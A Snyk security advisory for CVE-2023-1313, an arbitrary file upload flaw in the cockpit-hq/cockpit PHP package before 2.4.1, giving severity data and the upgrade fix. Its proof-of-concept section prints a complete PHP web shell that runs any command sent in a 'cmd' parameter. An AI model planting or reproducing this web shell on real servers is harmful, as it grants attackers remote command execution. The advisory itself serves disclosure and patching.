Arbitrary File Upload Affecting cockpit-hq/cockpit package, versions <2.4.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.11% (46th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary File Upload vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-COCKPITHQCOCKPIT-3358377
  • published10 Mar 2023
  • disclosed10 Mar 2023
  • creditchoocs

Introduced: 10 Mar 2023

CVE-2023-1313  (opens in a new tab)
CWE-434  (opens in a new tab)

How to fix?

Upgrade cockpit-hq/cockpit to version 2.4.1 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary File Upload due to improper user-input sanitization in the assets manager module.

PoC

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>

References

CVSS Scores

version 3.1